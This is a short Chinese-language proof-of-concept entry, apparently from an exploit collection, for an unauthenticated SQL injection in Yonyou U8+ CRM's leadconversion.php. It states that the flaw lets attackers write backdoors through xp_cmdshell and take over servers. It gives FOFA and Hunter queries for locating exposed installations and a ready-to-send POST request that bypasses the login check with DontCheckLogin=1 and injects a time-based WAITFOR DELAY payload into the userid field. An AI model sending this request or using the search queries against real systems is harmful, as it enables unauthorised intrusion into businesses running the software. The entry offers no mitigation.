# 用友U8+CRM系统leadconversion.php存在SQL注入漏洞 用友U8+CRM系统leadconversion.php存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。 ## fofa ```javascript title="用友U8CRM" ``` ## hunter ```javascript app.name="用友 CRM" ``` ## poc ```javascript POST /lead/leadconversion.php HTTP/1.1 Upgrade-Insecure-Requests: 1 Cookie: PHPSESSID=bgsesstimeout-; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 75 DontCheckLogin=1&Action=getDeptName&userid=1%27;WAITFOR+DELAY+%270:0:5%27-- ```